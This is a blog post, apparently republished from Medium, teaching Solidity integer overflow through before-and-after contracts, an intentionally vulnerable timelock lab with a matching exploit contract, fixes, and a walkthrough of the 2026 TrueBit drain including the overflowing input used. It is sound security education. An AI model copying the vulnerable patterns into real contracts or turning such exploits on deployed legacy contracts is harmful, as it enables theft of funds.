
{"id":151355,"date":"2026-04-17T05:58:07","date_gmt":"2026-04-17T05:58:07","guid":{"rendered":"https:\/\/mycryptomania.com\/?p=151355"},"modified":"2026-04-17T05:58:07","modified_gmt":"2026-04-17T05:58:07","slug":"integer-overflow-i-thought-we-fixed-this","status":"publish","type":"post","link":"https:\/\/mycryptomania.com\/?p=151355","title":{"rendered":"Integer Overflow: I Thought We Fixed This"},"content":{"rendered":"<p>I thought overflows had been solved. A post-0.8 world is safe, right? Why spend the effort learning a vulnerability the industry had already moved past. Then January 8, 2026 happened. TrueBit Protocol. $26.4 million drained in a single transaction. The contract responsible was compiled with Solidity 0.5.3 and deployed in 2021. Solidity 0.8 had already shipped in December 2020 with built-in overflow protection. The version that would have prevented the entire attack was already available. They just never used it. (Five years. Nothing.)<\/p>\n<p>Security researchers believe the vulnerability was found by AI scanning older deployed protocols for unprotected arithmetic. The math was wrong. Automated tools found what five years of neglect\u00a0missed.<\/p>\n<p><em>Old bug, modern discovery methods, current\u00a0damage.<\/em><\/p>\n<p><strong>The Math<\/strong><\/p>\n<p>Every unsigned integer in Solidity has a fixed size. That size determines its maximum value. Go over it and the number wraps back to zero. Go under zero and it wraps to the maximum. The contract has no idea anything went wrong. (It never\u00a0does.)<\/p>\n<p>Here are the types you\u2019ll see most\u00a0often:<\/p>\n<p>uint256 maxes out at: 115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,935. That&#8217;s 78 digits. Most people&#8217;s bank balance is 4-6\u00a0digits.<\/p>\n<p>It still has a ceiling. Cross it in either direction and the number wraps silently. A normal bank errors out. A vulnerable DeFi contract just keeps\u00a0going.<\/p>\n<p>If you want to see it live, grab Chisel from getfoundry.sh. Chisel runs 0.8 by default so you\u2019ll need unchecked to force the old behavior.<\/p>\n<p>Overflow\u200a\u2014\u200aunchecked { uint8 x = 255; return x + 1; } returns 0. The ceiling wraps back to\u00a0zero.Underflow\u200a\u2014\u200aunchecked { uint8 y = 0; return y &#8211; 1; } returns 255. The floor wraps to the\u00a0max.<\/p>\n<p>The contract keeps running either way. No alarm. No revert.\u00a0Nothing.<\/p>\n<p>This is pre-0.8 behavior. In Solidity 0.8 and above, both of these revert instead of wrapping silently. That\u2019s the whole fix in one version\u00a0bump.<\/p>\n<p>The problem is there are still contracts running on older versions. Deployed. Holding real money. Not getting\u00a0updated.<\/p>\n<p><strong>Before and After\u00a00.8<\/strong><\/p>\n<p>Solidity 0.8 shipped in December 2020 with one change that mattered more than almost anything else in that release: arithmetic operations now revert on overflow and underflow by default. No library required. No extra code. Just safe math baked\u00a0in.<\/p>\n<p>Before that, the default behavior was\u00a0silence.<\/p>\n<p><strong>Pre-0.8:<\/strong><\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.7.0;<\/p>\n<p>contract PreEightVault {<br \/>    mapping(address =&gt; uint256) public balances;<\/p>\n<p>    function withdraw(uint256 amount) external {<br \/>        \/\/ If balances[msg.sender] is 0 and amount is 1,<br \/>        \/\/ this underflows silently to uint256 max<br \/>        \/\/ No revert. No error. Just a very large number.<br \/>        balances[msg.sender] -= amount;<br \/>    }<br \/>}<\/p>\n<p>The subtraction wraps. The balance goes from zero to the max. The contract keeps running. Nobody is\u00a0warned.<\/p>\n<p><strong>Post-0.8:<\/strong><\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.8.0;<\/p>\n<p>contract PostEightVault {<br \/>    mapping(address =&gt; uint256) public balances;<\/p>\n<p>    function withdraw(uint256 amount) external {<br \/>        \/\/ Same operation. Same inputs.<br \/>        \/\/ Now it reverts with a Panic error instead of wrapping.<br \/>        balances[msg.sender] -= amount;<br \/>    }<br \/>}<\/p>\n<p><em>Same code, different compiler. One reverts cleanly. One hands an attacker an infinite\u00a0balance.<\/em><\/p>\n<p><strong>The Cross-Contract Danger<\/strong><\/p>\n<p>Here\u2019s where it gets subtle and where modern protocols can still get\u00a0wrecked.<\/p>\n<p>A contract compiled with 0.8 calling a contract compiled with 0.7 does not inherit the safety of the newer version. <em>Each contract runs under its own compiler rules<\/em>. The modern contract assumes overflow protection. The legacy contract has none. The assumption is\u00a0wrong.<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.8.0;<\/p>\n<p>interface ILegacyVault {<br \/>    function withdraw(uint256 amount) external;<br \/>    function balances(address user) external view returns (uint256);<br \/>}<\/p>\n<p>contract ModernCaller {<br \/>    ILegacyVault public legacyVault;<\/p>\n<p>    constructor(address _vault) {<br \/>        legacyVault = ILegacyVault(_vault);<br \/>    }<\/p>\n<p>    function withdrawFromLegacy(uint256 amount) external {<br \/>        \/\/ ModernCaller is compiled with 0.8<br \/>        \/\/ but legacyVault runs under its own 0.7 rules<br \/>        \/\/ The overflow protection from 0.8 does not follow the call<br \/>        legacyVault.withdraw(amount);<br \/>    }<br \/>}<\/p>\n<p>The call crosses a compiler boundary and the safety doesn\u2019t come with it. Auditing ModernCaller alone looks fine. The vulnerability lives in LegacyVault and you only find it by following the full execution path.<\/p>\n<p><strong>Follow the money. Every hop. Every contract. Every\u00a0time.<\/strong><\/p>\n<p><strong>The Elder\u2019s\u00a0Vault<\/strong><\/p>\n<p>The contracts below can be found on my\u00a0<a href=\"https:\/\/github.com\/nahmstay\/solidity-security-labs\">GitHub<\/a>.<\/p>\n<p>ElderTimelock is a timelock vault compiled with Solidity 0.7. It holds something behind a time-based lock set a hundred years in the future. It also has an extendSeal() function that lets users add more time to the lock. The intention was good. The implementation is\u00a0not.<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.7.0;<\/p>\n<p>\/\/ Pre-0.8 integer overflow lab. extendSeal() adds to unlocksAt with no<br \/>\/\/ overflow check \u2014 a large enough additionalTime wraps it past 2^256 back<br \/>\/\/ to a tiny value, unsealing the vault.<\/p>\n<p>contract ElderTimelock {<br \/>    address public elder;<br \/>    uint256 public unlocksAt;<br \/>    bool public isSealed;<br \/>    string public artifact;<\/p>\n<p>    event SealExtended(address indexed by, uint256 newUnlocksAt);<br \/>    event VaultOpened(address indexed by, uint256 timestamp);<\/p>\n<p>    constructor() {<br \/>        elder = msg.sender;<br \/>        unlocksAt = block.timestamp + 36500 days;<br \/>        isSealed = true;<br \/>        artifact = &#8220;A worn copper bracelet&#8221;;<br \/>    }<\/p>\n<p>    \/\/ VULNERABLE: no overflow check on the addition.<br \/>    function extendSeal(uint256 additionalTime) external {<br \/>        unlocksAt += additionalTime;<br \/>        emit SealExtended(msg.sender, unlocksAt);<br \/>    }<\/p>\n<p>    function open() external {<br \/>        require(block.timestamp &gt;= unlocksAt, &#8220;ElderTimelock: vault is sealed&#8221;);<br \/>        isSealed = false;<br \/>        emit VaultOpened(msg.sender, block.timestamp);<br \/>    }<\/p>\n<p>    function readArtifact() external view returns (string memory) {<br \/>        require(!isSealed, &#8220;ElderTimelock: vault is sealed&#8221;);<br \/>        return artifact;<br \/>    }<br \/>}<\/p>\n<p>The extendSeal function is the problem. unlocksAt starts as block.timestamp + 36500 days, a number somewhere around 100 years in the future. The contract assumes you can only make the lock stronger by calling\u00a0it.<\/p>\n<p>unlocksAt is a uint256. uint256 has a maximum value of 2^256 &#8211; 1. Add enough to push past that ceiling and the number wraps back to zero. The vault that was supposed to be sealed for a century becomes unlockable immediately.<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.7.0;<\/p>\n<p>import &#8220;.\/ElderTimelock.sol&#8221;;<\/p>\n<p>\/\/ TimelockExploit exploits the integer overflow in ElderTimelock.<br \/>\/\/ By calling extendSeal() with (type(uint256).max &#8211; unlocksAt + 1),<br \/>\/\/ the addition wraps unlocksAt past zero back to 0. The open() check<br \/>\/\/ then succeeds trivially because block.timestamp &gt;= 0.<\/p>\n<p>contract TimelockExploit {<br \/>    ElderTimelock public vault;<\/p>\n<p>    constructor(address _vault) {<br \/>        vault = ElderTimelock(_vault);<br \/>    }<\/p>\n<p>    function exploit() external {<br \/>        uint256 currentUnlocksAt = vault.unlocksAt();<br \/>        \/\/ extra is sized so that unlocksAt + extra equals exactly 2^256,<br \/>        \/\/ which wraps to 0 under pre-0.8 modular arithmetic<br \/>        uint256 extra = type(uint256).max &#8211; currentUnlocksAt + 1;<br \/>        vault.extendSeal(extra);<br \/>        vault.open();<br \/>    }<\/p>\n<p>    function readArtifact() external view returns (string memory) {<br \/>        return vault.readArtifact();<br \/>    }<br \/>}<\/p>\n<p>extra is calculated so that unlocksAt + extra equals exactly type(uint256).max + 1. In pre-0.8 Solidity that wraps to zero. block.timestamp &gt;= 0 is always\u00a0true.<\/p>\n<p>The vault\u00a0opens.<\/p>\n<p>The lock meant to hold for a century is gone in one transaction. One function, no checks, wrong number. That\u2019s the whole\u00a0attack.<\/p>\n<p><strong>The fix is one pragma\u00a0line:<\/strong><\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.8.0;<\/p>\n<p>\/\/ Fixed version of ElderTimelock. Identical code \u2014 only the pragma changes.<br \/>\/\/ Solidity 0.8+ checked arithmetic reverts the overflowing addition in<br \/>\/\/ extendSeal() with Panic(0x11) instead of wrapping unlocksAt to zero.<\/p>\n<p>contract SealedTimelock {<br \/>    address public elder;<br \/>    uint256 public unlocksAt;<br \/>    bool public isSealed;<br \/>    string public artifact;<\/p>\n<p>    event SealExtended(address indexed by, uint256 newUnlocksAt);<br \/>    event VaultOpened(address indexed by, uint256 timestamp);<\/p>\n<p>    constructor() {<br \/>        elder = msg.sender;<br \/>        unlocksAt = block.timestamp + 36500 days;<br \/>        isSealed = true;<br \/>        artifact = &#8220;A worn copper bracelet&#8221;;<br \/>    }<\/p>\n<p>    function extendSeal(uint256 additionalTime) external {<br \/>        unlocksAt += additionalTime;<br \/>        emit SealExtended(msg.sender, unlocksAt);<br \/>    }<\/p>\n<p>    function open() external {<br \/>        require(block.timestamp &gt;= unlocksAt, &#8220;SealedTimelock: vault is sealed&#8221;);<br \/>        isSealed = false;<br \/>        emit VaultOpened(msg.sender, block.timestamp);<br \/>    }<\/p>\n<p>    function readArtifact() external view returns (string memory) {<br \/>        require(!isSealed, &#8220;SealedTimelock: vault is sealed&#8221;);<br \/>        return artifact;<br \/>    }<br \/>}<\/p>\n<p>Look at these two contracts side by side. The only difference is pragma solidity ^0.7.0 versus pragma solidity ^0.8.0. Same logic, same functions, same everything. One lets an attacker open a vault that was supposed to be sealed for a century. One reverts with a panic error and the vault stays\u00a0shut.<\/p>\n<p>That\u2019s what a compiler version buys you. Go test them yourself.<\/p>\n<p><strong>The Fixes<\/strong><\/p>\n<p>Three approaches depending on what you\u2019re working with. Stack them when you can. Defense is stronger in\u00a0layers.<\/p>\n<p><strong>1. Upgrade to Solidity\u00a00.8<\/strong><\/p>\n<p>The cleanest fix. If you control the contract and can upgrade the compiler, do it. Overflow and underflow protection becomes the default on every arithmetic operation. No library, no modifiers, no extra\u00a0code.<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.8.0;<\/p>\n<p>contract FixedVault {<br \/>    mapping(address =&gt; uint256) public balances;<\/p>\n<p>    function withdraw(uint256 amount) external {<br \/>        \/\/ This reverts automatically if amount &gt; balances[msg.sender]<br \/>        \/\/ No underflow possible. Compiler handles it.<br \/>        balances[msg.sender] -= amount;<br \/>    }<br \/>}<\/p>\n<p>If a subtraction would underflow or an addition would overflow, the transaction reverts with a Panic(0x11) error. Clean, automatic, free.<\/p>\n<p>The catch: upgrading isn\u2019t always possible. A five year old deployed contract isn\u2019t getting recompiled. That\u2019s exactly what made TrueBit vulnerable in\u00a02026.<\/p>\n<p><strong>2. SafeMath for Contracts That Can\u2019t\u00a0Upgrade<\/strong><\/p>\n<p>For contracts stuck on pre-0.8 compilers, <a href=\"https:\/\/docs.openzeppelin.com\/contracts\/4.x\/api\/utils\">OpenZeppelin\u2019s SafeMath library<\/a> wraps arithmetic operations with explicit overflow checks. Instead of silent wrapping you get a\u00a0revert.<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.7.0;<\/p>\n<p>import &#8220;@openzeppelin\/contracts\/math\/SafeMath.sol&#8221;;<\/p>\n<p>contract SafeVault {<br \/>    using SafeMath for uint256;<br \/>    mapping(address =&gt; uint256) public balances;<\/p>\n<p>    function deposit() external payable {<br \/>        balances[msg.sender] = balances[msg.sender].add(msg.value);<br \/>    }<\/p>\n<p>    function withdraw(uint256 amount) external {<br \/>        balances[msg.sender] = balances[msg.sender].sub(amount);<br \/>    }<br \/>}<\/p>\n<p>OpenZeppelin deprecated SafeMath after 0.8 shipped because it became redundant. If you\u2019re seeing it in a modern codebase, that\u2019s a signal the contract has older roots. Good place to start your\u00a0hunt.<\/p>\n<p><strong>3. Input Validation as a Logic\u00a0Fix<\/strong><\/p>\n<p>Sometimes the right fix isn\u2019t about the arithmetic at all. It\u2019s about rejecting inputs that should never be valid in the first place. This is what TrueBit was missing entirely.<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.7.0;<\/p>\n<p>contract ValidatedVault {<br \/>    mapping(address =&gt; uint256) public balances;<br \/>    uint256 public constant MAX_WITHDRAWAL = 1000 ether;<\/p>\n<p>    function withdraw(uint256 amount) external {<br \/>        require(amount &gt; 0, &#8220;Amount must be greater than zero&#8221;);<br \/>        require(amount &lt;= MAX_WITHDRAWAL, &#8220;Exceeds single withdrawal limit&#8221;);<br \/>        require(amount &lt;= balances[msg.sender], &#8220;Insufficient balance&#8221;);<\/p>\n<p>        balances[msg.sender] -= amount;<br \/>        payable(msg.sender).transfer(amount);<br \/>    }<br \/>}<\/p>\n<p>The attacker passed 240,442,509,453,545,333,947,284,131 as the input. That number has 27 digits. A simple upper bound on inputs would have made that transaction impossible regardless of the compiler\u00a0version.<\/p>\n<p>Input validation doesn\u2019t replace upgrading to 0.8 or using SafeMath. It\u2019s a third layer. Use all three when you can. Every layer you add makes the crack harder to\u00a0find.<\/p>\n<p>If you\u2019re auditing a pre-0.8 contract and none of these are present, that\u2019s a finding. <strong><em>Flag it. Attack it. Report\u00a0it.<\/em><\/strong><\/p>\n<p><strong>The Typecasting Blind\u00a0Spot<\/strong><\/p>\n<p>Overflow doesn\u2019t only happen with addition and subtraction. It happens when you take a large number and force it into a smaller container. That\u2019s typecasting, and it\u2019s one of the quieter ways this vulnerability shows up in real code. Quieter means easier to\u00a0miss.<\/p>\n<p><strong>The problem:<\/strong><\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.8.0;<\/p>\n<p>contract BatchDistributor {<br \/>    mapping(address =&gt; uint128) public balances;<\/p>\n<p>    function batchDeposit(<br \/>        address[] calldata recipients,<br \/>        uint256[] calldata amounts<br \/>    ) external {<br \/>        for (uint256 i = 0; i &lt; recipients.length; i++) {<br \/>            \/\/ amounts[i] is uint256 but balances stores uint128<br \/>            \/\/ If amounts[i] &gt; type(uint128).max, the cast silently truncates<br \/>            \/\/ No revert. No warning. Wrong balance recorded.<br \/>            balances[recipients[i]] += uint128(amounts[i]);<br \/>        }<br \/>    }<br \/>}<\/p>\n<p>uint128 maxes out at 340,282,366,920,938,463,463,374,607,431,768,211,455. Pass anything larger and the cast silently chops off the high bits. The number that lands in balances is wrong and nothing tells\u00a0you.<\/p>\n<p><strong>The fix:<\/strong><\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity ^0.8.0;<\/p>\n<p>contract SafeBatchDistributor {<br \/>    mapping(address =&gt; uint128) public balances;<\/p>\n<p>    function batchDeposit(<br \/>        address[] calldata recipients,<br \/>        uint256[] calldata amounts<br \/>    ) external {<br \/>        for (uint256 i = 0; i &lt; recipients.length; i++) {<br \/>            require(<br \/>                amounts[i] &lt;= type(uint128).max,<br \/>                &#8220;Amount exceeds uint128 max&#8221;<br \/>            );<br \/>            balances[recipients[i]] += uint128(amounts[i]);<br \/>        }<br \/>    }<br \/>}<\/p>\n<p>One require before the cast. If the value doesn\u2019t fit, the transaction reverts instead of silently corrupting the\u00a0balance.<\/p>\n<p><strong>Audit instinct:<\/strong> Any time you see an explicit cast to a smaller type, treat it as a finding candidate. Ask two questions: where does this value come from, and is there a check that it fits before the cast happens. If the answer to the second question is no, flag\u00a0it.<\/p>\n<p>Solidity 0.8 protects you from arithmetic overflow. It does not protect you from explicit downcasting. <strong><em>The compiler won\u2019t flag it. You have\u00a0to.<\/em><\/strong><\/p>\n<p><strong>Chaining With Other Vulnerabilities<\/strong><\/p>\n<p>Integer overflow is rarely the thing that destroys a protocol. It\u2019s the crack in the dam. Small, easy to miss, and completely devastating once the pressure behind it finds a way\u00a0through.<\/p>\n<p>The overflow creates a condition. A corrupted balance, a miscalculated price, a bypassed check. That condition is what the attacker actually uses. The water is the money. The crack just lets it\u00a0out.<\/p>\n<p>We\u2019ll break down the full TrueBit chain at the end of this\u00a0article.<\/p>\n<p><strong>The chain:<\/strong><\/p>\n<p>Five steps. One vulnerability triggered all of them. The overflow didn\u2019t steal the money directly. It broke the pricing logic, which broke the minting logic, which broke the reserve accounting. Each step in the chain looked legitimate to the contract because the contract had no idea the number feeding into it was\u00a0wrong.<\/p>\n<p>This is why overflow findings get escalated to high severity even when the arithmetic looks contained to one function. You have to trace what that corrupted value touches downstream.<\/p>\n<p><strong>Other common\u00a0chains:<\/strong><\/p>\n<p><em>Overflow into access control.<\/em> A counter or timestamp wraps to zero or a large value, bypassing a require check that was supposed to gate a privileged function. The attacker doesn&#8217;t break the lock. The lock just opens on its own because the number controlling it is\u00a0wrong.<\/p>\n<p>It shows up in <em>price oracles<\/em> too. A calculation feeding into a price feed produces a corrupted value and a lending protocol reads it as collateral. The attacker borrows against something that isn\u2019t real and walks away\u00a0clean.<\/p>\n<p><em>Reward distribution<\/em> is the quieter version. A balance inflates through underflow, that inflated number feeds into a payout calculation, and the protocol bleeds out slowly instead of all at\u00a0once.<\/p>\n<p><strong>Audit question:<\/strong> When you find an overflow or underflow candidate, don\u2019t just flag the arithmetic. Ask what that value feeds into. The answer determines the severity of the\u00a0finding.<\/p>\n<p>Overflow plus isolated math is informational. Overflow plus token minting is critical.<\/p>\n<p>Always try to chain your vulnerabilities to escalate the findings.<\/p>\n<p><strong>AI Tools for Detection<\/strong><\/p>\n<p>AI changed the first hour of an audit. Before touching a single function manually, I kick off Pashov\u2019s Solidity Auditor skill for Claude Code with \/solidity-auditor and let it map the codebase. It doesn&#8217;t replace reading the code. It just provides a place to\u00a0start.<\/p>\n<p>While that runs, Slither handles the mechanical sweep with slither src\/. Fast, opinionated, noisy, and still\u00a0useful.<\/p>\n<p>Run both tools against the full codebase for old pragma versions. Any file that comes back pre-0.8 is where you\u00a0start.<\/p>\n<p>While those tools are running, read the <strong><em>README<\/em><\/strong>! The <strong><em>README<\/em><\/strong> tells you what the contract is supposed to do. The code tells you what it actually does. The gap between those two things is where bugs\u00a0live.<\/p>\n<p>Between the tools you get a rough triage in minutes. The AI reasons across the codebase. Slither names the lines to review. Your job is following what they both\u00a0missed.<\/p>\n<p><a href=\"https:\/\/www.quillaudits.com\/blog\/hack-analysis\/truebit-26m-hack-explained\"><strong>TrueBit: January\u00a02026<\/strong><\/a><\/p>\n<p>What the hell was TrueBit? It was a protocol for verifying off-chain computations on Ethereum. Users could buy and sell TRU tokens through a bonding curve, a pricing mechanism where the cost to mint tokens increases as supply grows. The idea was that the price would always reflect real market dynamics.<\/p>\n<p>The contract handling this logic was deployed in 2021. It was never updated. By January 2026 it was five years old, unverified on Etherscan, and still holding millions in ETH reserves.<\/p>\n<p>On January 8th an attacker found the\u00a0crack.<\/p>\n<p>The vulnerable function was getPurchasePrice(). It calculated how much ETH a buyer needed to send to mint a given amount of TRU. The math involved adding two large uint256 values together. The contract was compiled with Solidity 0.5.3. There were no overflow\u00a0checks.<\/p>\n<p>The attacker passed 240,442,509,453,545,333,947,284,131 as the purchase amount. That number, fed into the pricing formula, caused the addition to overflow. The sum wrapped past uint256 max and landed on a tiny number. The calculated purchase price came out to zero\u00a0ETH.<\/p>\n<p>buyTRU() accepted it. Zero ETH sent. Massive amount of TRU minted. All of it credited to the attacker.<\/p>\n<p>Then sellTRU(). The attacker burned the free tokens back into the bonding curve and received real ETH from the protocol reserves in exchange. The sell side of the bonding curve had no idea the tokens were minted for nothing. It just saw tokens coming in and paid out\u00a0ETH.<\/p>\n<p>The attacker ran the cycle five times in a single transaction. Each loop: overflow the price to zero, mint free tokens, sell for ETH. By the end, 8,535 ETH was gone. $26.4 million at the\u00a0time.<\/p>\n<p>The TRU token price dropped 99% within hours. The protocol has not recovered. All of it from a number that should have never been a valid\u00a0input.<\/p>\n<p>Two details make this particularly uncomfortable. First, the contract source code was never verified on Etherscan. The attacker had to decompile the bytecode to find the vulnerability. They dug deeper than others wanted to. Second, Solidity 0.8 was available when TrueBit launched. The decision to deploy on 0.5.3 and never migrate was a choice, not a limitation. Five years. Never\u00a0touched.<\/p>\n<p><em>Why was a 27-digit number a valid input to a pricing function? <\/em>240,442,509,453,545,333,947,284,131 isn&#8217;t a purchase amount. It&#8217;s an exploit disguised as a number. Part of this job is questioning the assumptions the original developer didn&#8217;t. A maximum purchase size is a basic design decision. It should have been made in 2021. It wasn&#8217;t. The overflow was the mechanism. The missing input validation was the door left\u00a0open.<\/p>\n<p>Security researchers believe the vulnerability was discovered using AI to scan older deployed protocols for unprotected arithmetic operations. The tools are getting better at finding these faster than teams are getting better at fixing\u00a0them.<\/p>\n<p>Turns out \u201csolved\u201d and \u201cno longer deployed\u201d are two very different things. There are contracts sitting on mainnet right now, holding real money, running on compilers from 2018. Nobody is updating them. Some of them have\u00a0cracks.<\/p>\n<p><em>The dam doesn\u2019t care how small the crack\u00a0is.<\/em><\/p>\n<p>-Nahmstay.<\/p>\n<p><em>Sources: <\/em><a href=\"https:\/\/medium.com\/@dehvcurtis\/integer-overflow-and-underflow-smart-contract-attack-craft-your-own-44019e9cf795\"><em>Dehvcurtis<\/em><\/a><em> \u00b7 <\/em><a href=\"https:\/\/faizannehal.medium.com\/how-solidity-0-8-protect-against-integer-underflow-overflow-and-how-they-can-still-happen-7be22c4ab92f\"><em>Faizan Nehal<\/em><\/a><em> \u00b7 <\/em><a href=\"https:\/\/www.quillaudits.com\/blog\/hack-analysis\/truebit-26m-hack-explained\"><em>QuillAudits<\/em><\/a><em> \u00b7 <\/em><a href=\"https:\/\/github.com\/pashov\/skills\/tree\/main\/solidity-auditor\"><em>Pashov Solidity Auditor<\/em><\/a><em> \u00b7 <\/em><a href=\"https:\/\/docs.soliditylang.org\/en\/v0.8.0\/080-breaking-changes.html\"><em>Solidity 0.8 Release\u00a0Notes<\/em><\/a><\/p>\n<p><a href=\"https:\/\/medium.com\/coinmonks\/integer-overflow-the-math-that-breaks-everything-10cce3376a52\">Integer Overflow: I Thought We Fixed This<\/a> was originally published in <a href=\"https:\/\/medium.com\/coinmonks\">Coinmonks<\/a> on Medium, where people are continuing the conversation by highlighting and responding to this story.<\/p>","protected":false},"excerpt":{"rendered":"<p>I thought overflows had been solved. A post-0.8 world is safe, right? Why spend the effort learning a vulnerability the industry had already moved past. Then January 8, 2026 happened. TrueBit Protocol. $26.4 million drained in a single transaction. The contract responsible was compiled with Solidity 0.5.3 and deployed in 2021. Solidity 0.8 had already [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":151356,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-151355","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-interesting"],"_links":{"self":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts\/151355"}],"collection":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=151355"}],"version-history":[{"count":0,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts\/151355\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/media\/151356"}],"wp:attachment":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=151355"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=151355"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=151355"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}